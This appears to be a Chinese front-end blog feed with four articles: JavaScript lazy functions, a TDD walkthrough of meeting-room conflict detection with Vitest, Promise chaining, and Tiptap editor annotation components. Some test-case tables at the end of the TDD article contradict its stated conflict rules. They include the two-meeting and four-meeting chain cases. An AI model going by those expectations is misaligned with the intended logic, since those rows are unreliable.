核心原理:函数自我重写

在 JavaScript 中,函数是一等公民,这意味着函数可以在运行时被重新赋值和修改。惰性函数正是利用了这一特性,在函数内部将自己重写为一个优化后的“精简版”函数。

在 JS 中,实现惰性函数主要有以下两种经典写法:

1. 函数内直接重写(延迟执行版)

这种写法在第一次调用时才进行环境检测和函数重写。

function createXHR() {
  // 第一次进入这里,做繁重的环境检测
  if (window.XMLHttpRequest) {
    // 如果是标准浏览器,将 createXHR 重写为直接返回新对象的函数
    createXHR = function () {
      return new XMLHttpRequest();
    };
  } else {
    // 如果是古董 IE,重写为兼容版本
    createXHR = function () {
      return new ActiveXObject("Microsoft.XMLHTTP");
    };
  }
  // 重写完后,手动调用一次新函数,保证第一次调用也能拿到正确的结果
  return createXHR();
}

运行流程: 第一次调用 createXHR() 时,它进入原函数体做判断,把全局的 createXHR 指针指向新函数,然后返回结果。以后再调用 createXHR(),它就已经是那个精简版的新函数了,直接返回结果,完全跳过了 if/else 判断。

2. 闭包 + 立即执行(立即执行版)

这种写法在代码加载阶段(函数被赋值时)就立刻执行判断,并返回最终的函数形态。

const addEvent = (function () {
  // 这个外层自执行函数只跑一遍
  if (document.addEventListener) {
    // 标准浏览器,直接返回优化后的函数
    return function (el, type, handler) {
      el.addEventListener(type, handler, false);
    };
  } else if (document.attachEvent) {
    // 古董 IE,返回兼容版函数
    return function (el, type, handler) {
      el.attachEvent("on" + type, handler);
    };
  }
})();

运行流程: addEvent 在定义时,外层函数就立即执行并根据环境返回了最终形态。后续无论调用多少次 addEvent,它都是最终那个没有判断逻辑的函数。

经典应用场景

  1. 浏览器兼容性检测:比如检测 addEventListenerlocalStorageIntersectionObserver 等 API 是否存在。因为浏览器的运行环境在页面打开那一刻就已经确定了,不会中途改变,完全没必要每次调用都去扫描一遍。
  2. 单次初始化逻辑:比如生成一次性的复杂正则表达式、拉取远程配置后把 init 函数替换成空函数(防止重复初始化)。
  3. 复杂计算或资源加载缓存:对于一些第一次计算非常耗时的操作,可以在第一次算出结果后缓存起来,后续直接返回缓存值。

概念辨析:惰性函数 vs 惰性求值

在学习过程中,你可能会遇到另一个相似的概念叫**“惰性求值(Lazy Evaluation)”**。这两者虽然都带“惰性”,但解决的问题完全不同:

  • 惰性函数(Lazy Function):侧重于一次判断,终身受益。通过重写函数来消除重复的条件判断,提升高频调用时的执行效率。
  • 惰性求值(Lazy Evaluation):侧重于按需计算,节省资源。通常利用 ES6 的生成器来实现,推迟昂贵计算或处理无限数据流,只有当真正需要某个值时才去计算它(例如处理超大数组的过滤和映射)。

掌握惰性函数,能让你在处理跨浏览器兼容或高频工具函数时,写出性能更极致、逻辑更优雅的代码。

TDD实战-会议室冲突检测的红绿重构循环

作者 花满溪
2026年5月7日 17:49

本文通过一个真实的"三个会议交叉重叠"场景,完整展示测试驱动开发(TDD)的"红-绿-重构"循环。你将从零开始,亲眼见证测试如何驱动代码设计、暴露边缘情况、最终产出健壮的实现。

第一步:需求分析

业务场景

会议室预约系统允许用户将多个会议分配到同一间会议室。当会议时间发生重叠时,系统需要自动检测冲突并标红。本次要实现的策略是冲突均标红:只要两个会议的时间有重叠,两者都标记为冲突。

聚焦一个场景:三个会议交叉重叠

假设有三个会议,时间如下:

会议 开始时间 结束时间
Meeting 1 08:00 09:00
Meeting 2 08:30 09:30
Meeting 3 09:00 10:00

时间关系:Meeting 1 与 Meeting 2 重叠,Meeting 2 与 Meeting 3 重叠,但 Meeting 1 和 Meeting 3 不重叠——它们首尾相接(09:00 = 09:00)。

用时间轴线表示如下:

Meeting 1  ████████░░░░░░░░░░░░
Meeting 2  ░░░░████████░░░░░░░░
Meeting 3  ░░░░░░░░░███████████
           08:00    09:00    10:00

测试用例

对应该场景,我们列出了 7 个测试用例,覆盖三种操作类型:

操作类型一:添加会议

用例名称 操作 预期结果
1A 2A 3A => 1x 2x 3x 三个会议依次分配到 A 全部标红

操作类型二:移出会议

用例名称 操作 预期结果
-> 1 null => 2x 3x 移出 1 2、3 冲突,1 正常
-> 2 null => 移出 2 全部正常
-> 3 null => 1x 2x 移出 3 1、2 冲突,3 正常

操作类型三:移动到其他会议室

用例名称 操作 预期结果
-> 1 B => 2x 3x 1 移到 B 2、3 冲突,1 正常
-> 2 B => 2 移到 B 全部正常
-> 3 B => 1x 2x 3 移到 B 1、2 冲突,3 正常

关键洞察: "移出 2"这个用例——当"桥梁"会议被移除后,1 和 3 不重叠,冲突全部消失。这是整个场景中最关键的设计洞察。


第二步:搭建测试环境

首先安装 Vitest:

pnpm add -D vitest

package.json 中添加测试脚本:

{
  "scripts": {
    "test": "vitest",
  }
}

第三步:红——编写第一个失败的测试

TDD 的第一步是:先写一个会失败的测试,明确描述你期望的最小行为。

我们在 test/three-cross.spec.js 中开始:

import { describe, it, expect } from 'vitest'
import { handleRoomChange } from '../index'

describe('三个会议交叉重叠 - 冲突均标红', () => {

    it('无会议时,添加第一个会议应该无冲突', () => {
        const meeting1 = {
            id: 1, name: 'Meeting 1',
            start: '2021-01-01 08:00:00', end: '2021-01-01 09:00:00',
            date: '2021-01-01', isConflict: false, roomId: null
        }

        meeting1.roomId = 'A'
        handleRoomChange(meeting1)

        expect(meeting1.isConflict).toBe(false)
    })
})

运行测试:

pnpm test

输出:

 FAIL  test/three-cross.spec.js
  TypeError: handleRoomChange is not a function

测试失败,符合预期——因为 handleRoomChange 还不存在。这正是"红"阶段:我们需要创建这个模块。


第四步:绿——编写最小化代码通过测试

创建一个最简的方法,让它刚好通过当前测试:

// index.js
  handleRoomChange(meeting: Meeting): void {
    meeting.isConflict = false
  }

这个实现很简单——它无条件地把 isConflict 设为 false最小化代码意味着用最少的工作让当前测试变绿

运行测试:

✓ 三个会议交叉重叠 - 冲突均标红
  ✓ 无会议时,添加第一个会议应该无冲突

绿了。


第五步:红——添加第二个测试,暴露新行为

现在写第二个测试——添加两个时间重叠的会议,两者都应被标记为冲突:

// 在同一个 describe 块中添加
it('两个重叠的会议应都被标记为冲突', () => {
    const meeting1 = {
        id: 1, name: 'Meeting 1',
        start: '2021-01-01 08:00:00', end: '2021-01-01 09:00:00',
        date: '2021-01-01', isConflict: false, roomId: null
    }
    const meeting2 = {
        id: 2, name: 'Meeting 2',
        start: '2021-01-01 08:30:00', end: '2021-01-01 09:30:00',
        date: '2021-01-01', isConflict: false, roomId: null
    }

    meeting1.roomId = 'A'
    handleRoomChange(meeting1)
    meeting2.roomId = 'A'
    handleRoomChange(meeting2)

    expect(meeting1.isConflict).toBe(true)
    expect(meeting2.isConflict).toBe(true)
})

运行:

 FAIL  test/three-cross.spec.ts
  ✓ 无会议时,添加第一个会议应该无冲突
  ✗ 两个重叠的会议应都被标记为冲突
    AssertionError: expected false to be true

红。 现在的代码把所有会议都设为 false,显然不对。


第六步:绿——让第二个测试通过

现在需要真正实现冲突检测逻辑了。但我们仍然只做刚好够用的代码:

import dayjs from 'dayjs'

let meetingsMap = {}

function hasConflict(m1, m2) {
    return dayjs(m1.end).isAfter(dayjs(m2.start))
        && dayjs(m2.end).isAfter(dayjs(m1.start))
}
export function handleRoomChange(meeting) {
    const { date, roomId } = meeting;
    if (!meetingsMap[date]) meetingsMap[date] = {}
    if (!meetingsMap[date][roomId]) meetingsMap[date][roomId] = []
    const roomMeetings = meetingsMap[date][roomId]
    roomMeetings.push(meeting)

    // 暴力检测所有会议两两之间的冲突
    for (let i = 0; i < roomMeetings.length; i++) {
        for (let j = i + 1; j < roomMeetings.length; j++) {
            if (hasConflict(roomMeetings[i], roomMeetings[j])) {
                roomMeetings[i].isConflict = true
                roomMeetings[j].isConflict = true
            }
        }
    }
}

关键设计决策分析:

  1. 为什么用 meetingsMap 因为需要按日期和会议室维度持久化会议列表,才能做两两比较。
  2. 为什么用 dayjs 时间比较需要精确到秒,用字符串比较不可靠,dayjs 是项目已有的日期库。
  3. 冲突条件m1 未结束 && m2 已开始——经典的区间重叠判断。
  4. 嵌套循环:最简单直观的两两比较方式,O(n²) 复杂度,但对于一个会议室通常只有几个会议的场景完全够用。

运行测试:

✓ 无会议时,添加第一个会议应该无冲突
✓ 两个重叠的会议应都被标记为冲突

两个测试都通过了。


第七步:红——用核心场景驱动设计

现在到了我们真正关心的场景:三个会议交叉重叠。先标记所有会议:

it('1 A 2 A 3 A => 1 x 2 x 3 x', () => {
    const meetings = [
        { id: 1, name: 'Meeting 1', start: '2021-01-01 08:00', end: '2021-01-01 09:00',
          date: '2021-01-01', isConflict: false, roomId: null },
        { id: 2, name: 'Meeting 2', start: '2021-01-01 08:30', end: '2021-01-01 09:30',
          date: '2021-01-01', isConflict: false, roomId: null },
        { id: 3, name: 'Meeting 3', start: '2021-01-01 09:00', end: '2021-01-01 10:00',
          date: '2021-01-01', isConflict: false, roomId: null },
    ]

    meetings.forEach(m => { m.roomId = 'A'; 
    handleRoomChange(m)
    })

    expect(meetings[0].isConflict).toBe(true)  // 1-2 重叠
    expect(meetings[1].isConflict).toBe(true)  // 2-3 重叠
    expect(meetings[2].isConflict).toBe(true)  // 2-3 重叠
})

运行测试,通过了!因为嵌套循环已经处理了所有两两关系。

现在加上关键用例——移出会议

it('1 A 2 A 3 A -> 2 null =>', () => {
        const meetings = [
            {
                id: 1, name: 'Meeting 1', start: '2021-01-01 08:00', end: '2021-01-01 09:00',
                date: '2021-01-01', isConflict: false, roomId: null
            },
            {
                id: 2, name: 'Meeting 2', start: '2021-01-01 08:30', end: '2021-01-01 09:30',
                date: '2021-01-01', isConflict: false, roomId: null
            },
            {
                id: 3, name: 'Meeting 3', start: '2021-01-01 09:00', end: '2021-01-01 10:00',
                date: '2021-01-01', isConflict: false, roomId: null
            },
        ]

        meetings.forEach(m => { m.roomId = 'A'; handleRoomChange(m) })

        // 移出 Meeting 2
        meetings[1].prevRoomId = meetings[1].roomId
        meetings[1].roomId = null
        handleRoomChange(meetings[1])

        expect(meetings[0].isConflict).toBe(false)  // 1 和 3 不重叠
        expect(meetings[1].isConflict).toBe(false)  // 已移出
        expect(meetings[2].isConflict).toBe(false)  // 3 和 1 不重叠
    })

运行:

 FAIL  ✗ 1 A 2 A 3 A -> 2 null =>
  AssertionError: expected true to be false

红! 问题在于:当我们移出 Meeting 2 时,之前的 handleRoomChange 只会往列表里加会议,从没考虑过移除。Meeting 1 的 isConflict 仍然停留在 true,没有被重新计算。

现在,移出需求驱动我们设计一个新的能力。


第八步:绿——实现移除和重算

我们需要区分"添加"和"移除"两种情况。设计 handleRoomChange 的分支逻辑:

export function clearMap() {
    meetingsMap = {}
}

export function handleRoomChange(meeting) {
    const { prevRoomId, roomId, date } = meeting

    // 先从旧会议室移除
    if (prevRoomId) {
        if (!meetingsMap[date]) meetingsMap[date] = {}
        if (!meetingsMap[date][prevRoomId]) meetingsMap[date][prevRoomId] = []
        const roomMeetings = meetingsMap[date][prevRoomId]
        const index = roomMeetings.findIndex(m => m.id === meeting.id)
        if (index !== -1) roomMeetings.splice(index, 1)

        const conflictIds = new Set()
        for (let i = 0; i < roomMeetings.length; i++) {
            for (let j = i + 1; j < roomMeetings.length; j++) {
                if (hasConflict(roomMeetings[i], roomMeetings[j])) {
                    conflictIds.add(roomMeetings[i].id)
                    conflictIds.add(roomMeetings[j].id)
                }
            }
        }
        roomMeetings.forEach(m => {
            m.isConflict = conflictIds.has(m.id)
        })
    }

    // 再添加到新会议室
    if (roomId) {
        if (!meetingsMap[date]) meetingsMap[date] = {}
        if (!meetingsMap[date][roomId]) meetingsMap[date][roomId] = []
        const roomMeetings = meetingsMap[date][roomId]
        roomMeetings.push(meeting)

        const conflictIds = new Set()
        for (let i = 0; i < roomMeetings.length; i++) {
            for (let j = i + 1; j < roomMeetings.length; j++) {
                if (hasConflict(roomMeetings[i], roomMeetings[j])) {
                    conflictIds.add(roomMeetings[i].id)
                    conflictIds.add(roomMeetings[j].id)
                }
            }
        }
        roomMeetings.forEach(m => {
            m.isConflict = conflictIds.has(m.id)
        })
    } else {
        meeting.isConflict = false
    }
}

这个步骤:

  • 每个测试用例都需要将 meetingsMap 重置。
  • 每次添加或移除会议后,都重新计算整个会议室的状态。虽然看起来做了重复计算,但胜在简单且正确——会议室里的会议数量极少,性能不是问题,正确性才是。

运行测试:

✓ 两个重叠的会议应都被标记为冲突
✓ 1 A 2 A 3 A => 1 x 2 x 3 x
✓ 1 A 2 A 3 A -> 2 null =>

所有测试通过。


第九步:红——继续添加剩余场景

测完核心逻辑,快速补全剩余用例:

it('1 A 2 A 3 A -> 1 null => 2 x 3 x', () => {
    // 移出 1 → 2 和 3 仍然冲突
    ...
    expect(meetings[0].isConflict).toBe(false)
    expect(meetings[1].isConflict).toBe(true)
    expect(meetings[2].isConflict).toBe(true)
})

it('1 A 2 A 3 A -> 3 null => 1 x 2 x', () => {
    // 移出 3 → 1 和 2 仍然冲突
    ...
    expect(meetings[0].isConflict).toBe(true)
    expect(meetings[1].isConflict).toBe(true)
    expect(meetings[2].isConflict).toBe(false)
})

it('1 A 2 A 3 A -> 1 B => 2 x 3 x', () => {
    // 1 移到 B → A 会议室只剩 2 和 3,它们冲突
    // 1 在 B 会议室只有自己,无冲突
    ...
    expect(meetings[0].isConflict).toBe(false)
    expect(meetings[1].isConflict).toBe(true)
    expect(meetings[2].isConflict).toBe(true)
})

由于 handleRoomChange 已经同时处理了移除和添加,这些用例都直接通过:

1 A 2 A 3 A -> 1 null => 2 x 3 x
✓ 1 A 2 A 3 A -> 2 null =>
✓ 1 A 2 A 3 A -> 3 null => 1 x 2 x
✓ 1 A 2 A 3 A -> 1 B => 2 x 3 x
✓ 1 A 2 A 3 A -> 2 B =>
✓ 1 A 2 A 3 A -> 3 B => 1 x 2 x

7 个测试,全部通过。


第十步:重构——在安全网下优化代码

测试全部通过后,我们站在一个安全的位置审视代码。

问题 1:面向过程的代码重构

import dayjs from 'dayjs'

export default class AllConflictManager {
    meetingsMap = {}

    clear() {
        this.meetingsMap = {}
    }

    handleRoomChange(meeting) {
        const { prevRoomId, roomId } = meeting
        if (prevRoomId) {
            this.removeMeetingFromRoom(meeting, prevRoomId)
        }
        if (roomId) {
            this.addMeetingToRoom(meeting, roomId)
        } else {
            meeting.isConflict = false
        }
    }

    addMeetingToRoom(meeting, roomId) {
        const { date } = meeting
        const roomMeetings = this.getRoomMeetings(date, roomId)
        roomMeetings.push(meeting)
        const conflictIds = this.findAllConflicts(roomMeetings)
        this.updateConflictStatus(roomMeetings, conflictIds)
    }

    getRoomMeetings(date, roomId) {
        if (!this.meetingsMap[date]) this.meetingsMap[date] = {}
        if (!this.meetingsMap[date][roomId]) this.meetingsMap[date][roomId] = []
        return this.meetingsMap[date][roomId]
    }

    removeMeetingFromRoom(meeting, roomId) {
        const { date } = meeting
        const roomMeetings = this.getRoomMeetings(date, roomId)
        const index = roomMeetings.findIndex(m => m.id === meeting.id)
        if (index !== -1) roomMeetings.splice(index, 1)
        const conflictIds = this.findAllConflicts(roomMeetings)
        this.updateConflictStatus(roomMeetings, conflictIds)
    }

    findAllConflicts(roomMeetings) {
        const conflictIds = new Set()
        for (let i = 0; i < roomMeetings.length; i++) {
            for (let j = i + 1; j < roomMeetings.length; j++) {
                if (this.hasConflict(roomMeetings[i], roomMeetings[j])) {
                    conflictIds.add(roomMeetings[i].id)
                    conflictIds.add(roomMeetings[j].id)
                }
            }
        }
        return conflictIds
    }

    updateConflictStatus(roomMeetings, conflictIds) {
        roomMeetings.forEach(m => {
            m.isConflict = conflictIds.has(m.id)
        })
    }

    hasConflict(m1, m2) {
        return dayjs(m1.end).isAfter(dayjs(m2.start)) && dayjs(m2.end).isAfter(dayjs(m1.start))
    }
}

问题 2:测试中重复的测试数据

每个测试用例都重复定义了三个 meeting 对象。提取到公共数据:

// data/three-cross.json
[
    { "id": 1, "name": "Meeting 1", "start": "2021-01-01 08:00", "end": "2021-01-01 09:00",
      "date": "2021-01-01", "isConflict": false, "roomId": null, "prevRoomId": null },
    { "id": 2, "name": "Meeting 2", "start": "2021-01-01 08:30", "end": "2021-01-01 09:30",
      "date": "2021-01-01", "isConflict": false, "roomId": null, "prevRoomId": null },
    { "id": 3, "name": "Meeting 3", "start": "2021-01-01 09:00", "end": "2021-01-01 10:00",
      "date": "2021-01-01", "isConflict": false, "roomId": null, "prevRoomId": null }
]

问题 3:Manager 实例创建和重置重复

提取到 test-utils.js

import AllConflictManager from '../index'

const manager = new AllConflictManager()

export function resetMeetings(meetings) {
    meetings.forEach(m => {
        m.isConflict = false
        m.prevRoomId = null
        m.roomId = null
    })
    manager.clear()
}

export function assignToRoom(meeting, roomId) {
    meeting.roomId = roomId
    manager.handleRoomChange(meeting)
}

export function removeMeetingFromRoom(meeting) {
    meeting.prevRoomId = meeting.roomId
    meeting.roomId = null
    manager.handleRoomChange(meeting)
}

export function moveMeeting(meeting, newRoomId) {
    meeting.prevRoomId = meeting.roomId
    meeting.roomId = newRoomId
    manager.handleRoomChange(meeting)
}

问题 4:测试代码精简

重构后的测试文件干净很多:

import { describe, it, expect, beforeEach } from 'vitest'
import { resetMeetings, assignToRoom, removeMeetingFromRoom, moveMeeting } from './test-utils'
import meetings from '../data/three-cross.json';

describe('三个会议交叉重叠 - 冲突均标红', () => {
    beforeEach(() => {
        resetMeetings(meetings)
        assignToRoom(meetings[0], 'A')
        assignToRoom(meetings[1], 'A')
        assignToRoom(meetings[2], 'A')
    })

    it('1 A 2 A 3 A => 1 x 2 x 3 x', () => {
        expect(meetings[0].isConflict).toBe(true)
        expect(meetings[1].isConflict).toBe(true)
        expect(meetings[2].isConflict).toBe(true)
    })
    // ...其余用例
})

重构后运行测试:

 Test Files  1 passed (1)
      Tests  7 passed (7)

全部通过。 我们可以在安全网的保护下自信地说:重构没有破坏任何功能。


最终代码全景

源码骨架

AllConflictManager
├── meetingsMap            ← 按 date → roomId 的二维存储
├── clear()                ← 重置状态
├── handleRoomChange()     ← 入口:先移除旧房间,再添加新房间
├── addMeetingToRoom()     ← 添加 + 重算冲突
├── removeMeetingFromRoom()← 移除 + 重算冲突
├── findAllConflicts()     ← O(n²) 两两比较
├── updateConflictStatus() ← 批量更新标记
└── hasConflict()          ← 区间重叠判断

测试覆盖

7 个用例覆盖 3 类操作:
  ┌─ 添加会议(1 个)
  ├─ 移出会议(3 个)
  └─ 移动会议(3 个)

回顾:TDD 如何驱动了设计

让我们回顾整个过程中,测试是如何驱动设计决策的:

测试驱动了接口设计

第一个测试只验证"添加无冲突会议",导致最初实现只是一个空壳方法。当第二个测试需要"检测重叠"时,才被迫引入 meetingsMap 存储和 hasConflict 方法。

测试驱动了移除逻辑

移出会议的测试迫使我们设计 handleRoomChange 的分支结构(先移除旧房间,再添加新房间)。如果只是按直觉写"添加"逻辑,永远不会考虑到移除后的状态重算。有了移除逻辑后,发现测试用例仍无法通过,meetingsMap 存储需重置。

测试驱动了冲突重算策略

当移出 Meeting 2 后,Meeting 1 的 isConflict 仍然为 true——这个失败迫使我们意识到:每次状态变更后都需要完整重算,而不是增量更新recalculateConflicts 方法从这里诞生。

测试驱动了数据抽取

测试代码中的重复数据——7 个用例写了 21 个 meeting 对象——驱动我们将测试数据提到 JSON 文件。这既是重构,也是一种设计信号:测试数据应该与测试逻辑分离。


总结:TDD 的节奏感

回顾完整的红-绿-重构循环:

RED (写测试)      →  1. 定义行为期望
                     2. 确认当前代码做不到
                     ↓
GREEN (写代码)    →  3. 用最直接的方式让测试通过
                     4. 确信结果正确
                     ↓
REFACTOR (优化)   →  5. 在测试保护下改进代码质量
                     6. 测试依然通过
                     ↓
(回到第 1 步,覆盖下一个场景)

这个循环的核心价值在于节奏感:每一步都有明确的目标,每一步的结果都可以立即验证。没有模糊区间,没有"感觉应该没问题"——只有绿色的通过和红色的失败。

当你习惯了这个节奏后,你会发现编码的过程不再是"写完再看",而是一个持续获得正向反馈的过程。每个测试从红变绿的那一刻,都在告诉你:你又推进了一步。

你不需要一次设计出完美的架构。你只需要写一个会失败的测试,然后让它通过。然后重复。最终,好的设计会自己浮现出来。

测试用例

两个重叠的会议

会议 开始时间 结束时间
Meeting 1 08:00 09:00
Meeting 2 08:30 10:00
时间关系:Meeting 1 和 Meeting 2 互相重叠
用例名称 操作步骤 预期结果
1 A 2 A => 2 x Meeting 1 分配到 A,Meeting 2 分配到 A Meeting 1 正常,Meeting 2 冲突
1 A 2 A -> 1 null => 上述基础上,Meeting 1 移出 两个会议都正常
1 A 2 A -> 1 B => 上述基础上,Meeting 1 移到 B 两个会议都正常
1 A 2 A -> 2 null => 上述基础上,Meeting 2 移出 两个会议都正常
1 A 2 A -> 2 B => 上述基础上,Meeting 2 移到 B 两个会议都正常

三个全重叠的会议

会议 开始时间 结束时间
Meeting 1 08:00 09:30
Meeting 2 08:30 09:30
Meeting 3 09:00 10:00
时间关系:三个会议两两之间都互相重叠
用例名称 操作步骤 预期结果
1 A 2 A 3 A => 1 x 2 x 3 x 初始状态 Meeting 1 冲突,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 1 null => 2 x 3 x Meeting 1 移出 Meeting 1 正常,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 2 null => 1x 3 x Meeting 2 移出 Meeting 1 冲突,Meeting 2 正常,Meeting 3 冲突
1 A 2 A 3 A -> 3 null => 1 x 2 x Meeting 3 移出 Meeting 1 冲突,Meeting 2 冲突,Meeting 3 正常
1 A 2 A 3 A -> 1 B => 2 x 3 x Meeting 1 移到 B Meeting 1 正常,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 2 B => 1 x 3 x Meeting 2 移到 B Meeting 1 冲突,Meeting 2 正常,Meeting 3 冲突
1 A 2 A 3 A -> 3 B => 1 x 2 x Meeting 3 移到 B Meeting 1 冲突,Meeting 2 冲突,Meeting 3 正常

三个会议 - 交叉重叠

会议 开始时间 结束时间
Meeting 1 08:00 09:00
Meeting 2 08:30 09:30
Meeting 3 09:00 10:00

时间关系:Meeting 1 与 Meeting 2 重叠,Meeting 2 与 Meeting 3 重叠,Meeting 1 与 Meeting 3 不重叠(首尾相接)

用例名称 操作步骤 预期结果
1 A 2 A 3 A => 1 x 2 x 3 x 初始状态 Meeting 1 冲突,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 1 null => 2 x 3 x Meeting 1 移出 Meeting 1 正常,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 2 null => Meeting 2 移出 三个会议都正常
1 A 2 A 3 A -> 3 null => 1 x 2 x Meeting 3 移出 Meeting 1 冲突,Meeting 2 冲突,Meeting 3 正常
1 A 2 A 3 A -> 1 B => 2 x 3 x Meeting 1 移到 B Meeting 1 正常,Meeting 2 冲突,Meeting 3 冲突
1 A 2 A 3 A -> 2 B => Meeting 2 移到 B 三个会议都正常
1 A 2 A 3 A -> 3 B => 1 x 2 x Meeting 3 移到 B Meeting 1 冲突,Meeting 2 冲突,Meeting 3 正常

四个会议 - 链式重叠

会议 开始时间 结束时间
Meeting 1 08:00 09:00
Meeting 2 08:30 09:30
Meeting 3 09:00 10:00
Meeting 4 09:30 10:30

时间关系:链式重叠,1-2 重叠,2-3 重叠,3-4 重叠,1-3、1-4、2-4 不重叠

用例名称 操作步骤 预期结果
1 A 2 A 3 A 4 A => 1 x 2 x 3 x 4 x 初始状态 Meeting 1、 2、3、4 冲突
1 A 2 A 3 A 4 A -> 1 null => 2 x 3 x 4 x Meeting 1 移出 Meeting 1 正常,Meeting 2、3 冲突,Meeting 4 正常
1 A 2 A 3 A 4 A -> 2 null => 3 x 4 x Meeting 2 移出 Meeting 1、2 正常,Meeting 3、4冲突
1 A 2 A 3 A 4 A -> 3 null => 1 x 2 x Meeting 3 移出 Meeting 3、4 正常,Meeting 1、2 冲突
1 A 2 A 3 A 4 A -> 4 null => 1 x 2 x 3 x Meeting 4 移出 Meeting 4 正常,Meeting 1、2、3 冲突
1 A 2 A 3 A 4 A -> 1 B => 2 x 3 x 4 x Meeting 1 移到 B Meeting 1 正常,Meeting 2、3、4 冲突
1 A 2 A 3 A 4 A -> 2 B => 3 x 4 x Meeting 2 移到 B Meeting 1、2 正常,Meeting 3、4 冲突
1 A 2 A 3 A 4 A -> 3 B => 1 x 2 x Meeting 3 移到 B Meeting 3、4 正常,Meeting 1、2 冲突
1 A 2 A 3 A 4 A -> 4 B => 1 x 2 x 3 x Meeting 4 移到 B Meeting4 正常,Meeting 1、2、3 冲突

Promise链式调用原理

作者 卷帘依旧
2026年5月8日 15:39

Promise链式调用原理,then在不同情况下的返回值

在JavaScript中,Promise是一种用于处理异步操作的对象。它可以让你以同步的方式来编写异步代码,从而提高代码的可读性和可维护性。Promise对象代表了异步操作的最终完成(或失败)及其结果值。

Promise的基本用法

一个Promise对象有三种状态:

  1. Pending(等待) ‌ - 初始状态,既不是成功,也不是失败。
  2. Fulfilled(已成功) ‌ - 操作成功完成。
  3. Rejected(已失败) ‌ - 操作失败。

创建Promise

你可以使用new Promise()构造函数来创建一个Promise对象。这个构造函数接受一个执行器函数作为参数,执行器函数有两个参数,分别是resolvereject

let promise = new Promise(function(resolve, reject) {
    // 异步操作
    if (/* 成功条件 */) {
        resolve(value); // 操作成功,将Promise的状态改为Fulfilled,并传递结果值
    } else {
        reject(error); // 操作失败,将Promise的状态改为Rejected,并传递错误信息
    }
});

Promise链式调用

Promise的链式调用是通过.then().catch()方法实现的。.then()方法返回一个新的Promise实例,并且可以接受两个参数:第一个参数是操作成功时的回调函数,第二个参数是操作失败时的回调函数(可选)。.catch()方法用于指定发生错误时的回调函数。

let promise = new Promise((resolve, reject) => {
    setTimeout(() => resolve("成功"), 1000); // 模拟异步操作成功
});

promise.then(result => {
    console.log(result); // "成功"
    return "下一个Promise"; // 这里返回的结果会传递给下一个.then()的回调函数
}).then(result => {
    console.log(result); // "下一个Promise"
}).catch(error => {
    console.log(error); // 错误处理
});

使用async/await进行链式调用

async/await是建立在Promise之上的语法糖,让异步代码的书写和阅读更加直观。async函数可以包含await表达式,await关键字用于等待一个Promise对象解析完成。

async function asyncCall() {
    try {
        let result = await firstPromise(); // 等待第一个Promise解析完成
        let nextResult = await secondPromise(result); // 使用第一个Promise的结果作为第二个Promise的输入,并等待解析完成
        console.log(nextResult); // 处理结果
    } catch (error) {
        console.error(error); // 错误处理
    }
}

总结

通过.then().catch()方法或者使用async/await,你可以很容易地实现Promise的链式调用,使得异步代码的管理变得更加容易和清晰。

Tiptap之标注组件

作者 时光足迹
2026年5月8日 11:00

Tiptap 图片组件

图片节点Image Node:只能控制基础属性,如 src,alt,title,width, height

增强图片节点Image Node Pro:增加了浮动工具栏控件,可以操作图片对齐方式,具有下载及删除功能

npx @tiptap/cli@latest add image-node-pro

但是组件安装时,需要授权,高级功能吧

tiptap-5-1.png

不想付费的话,只能自己写了,加一个 align 属性控制

按钮可以用官方的Image Align Button

addAttributes() {
  align: {
    default: 'center',
    parseHTML: element => element.getAttribute('data-align') || 'center',
    renderHTML: attributes => {
      return {
        'data-align': attributes.align
      }
    }
  }
}

Tiptap 表格组件

官方文档:Table

# 安装
npm install @tiptap/extension-table
import { TableKit } from "@tiptap/extension-table";

// 注册使用
const editor = useEditor({
  extensions: [
    // 表格扩展
    TableKit.configure({
      table: {
        resizable: true, // 启用列宽调整
      },
    }),
  ],
});

样式代码需要自己加,自己定义:

tiptap-5-2.png

目前只是实现了预览,新增/编辑暂未实现,里面操作逻辑太多了,感觉好难搞

不过Tiptap付费功能好像有,可以直接用

tiptap-5-3.png

Tiptap 标注组件

根据高亮组件Color Highlight改造而成。

编辑器效果如下所示:

tiptap-5-4.png

编辑器渲染代码,如下所示:

tiptap-5-5.png

移除标注

最开始使用如下代码移除标注:

editor.chain().focus().unsetAnnotation().run();

问题:unsetAnnotation 命令默认只对当前选区生效。如果未选中内容(光标在标注内但未选中文本),可能无法移除。

解决方案:selectParentNode或者是extendMarkRange("annotation")移除前强制选中整个标注内容(适合光标在标注内的场景)

const handleRemove = React.useCallback(() => {
  if (!editor || !editor.isEditable) return false;
  if (!canSetAnnotation(editor)) return false;

  // 关键:如果选区为空(光标在标注内),自动选中整个标注节点
  const { from, to } = editor.state.selection;
  const isEmptySelection = from === to;

  const chain = editor.chain().focus();
  // 若选区为空,先选中整个标注节点(确保作用范围)
  if (isEmptySelection) {
    // chain.selectParentNode();
    chain.extendMarkRange("annotation");
  }
  // 执行移除(和高亮的 unsetMark 逻辑一致)
  const success = chain.unsetAnnotation().run();

  if (success) {
    setAnnotationState({ type: defaultType, info: "" });
  }
}, [editor]);

更新标注

添加标注:

editor.chain().focus().setAnnotation(data).run();

更新标注:需要处理「旧标记属性覆盖」和「选区范围」的问题

const handleApply = React.useCallback(() => {
    if (!editor) return false;

    const { type, info } = annotationState;
    const typeData =
      ANNOTATION_TYPES.find((item) => item.value === type) ||
      ANNOTATION_TYPES[0];
    const data = { ...typeData, type, info };

    const { from, to } = editor.state.selection;
    // 无选区(光标在文本中间)
    const isEmptySelection = from === to;
    // 检查当前选区是否已有 annotation 标记
    const isActive = editor.isActive("annotation");

    const chain = editor.chain().focus();

    // 若选区为空且光标在标注内,自动选中整个标注
    if (isEmptySelection && isActive) {
      chain.extendMarkRange("annotation");
    }
    // 关键:如果已有标注,先移除旧的,确保新属性能生效
    if (isActive) {
      chain.unsetAnnotation();
    }

    // 应用新的标注属性
    const success = chain.setAnnotation(data).run();
    if (success) {
      onApplied?.(data as AnnotationData);
    }
    return success;
  }, [editor, annotationState, onApplied]);

但是如果旁边也有一个标注,更新时,会把旁边的也同步掉;或者把整行内容都标注了

如果希望改变标注的范围,那么需要先移除原有标注,再在新的选区上设置标注

反之,updateAttributes 只会更新当前选区内已存在的标注,而不会改变标注的范围

但是目前是点击文本,就打开弹框了,而不是选中文本,打开弹框,所以也不太适用

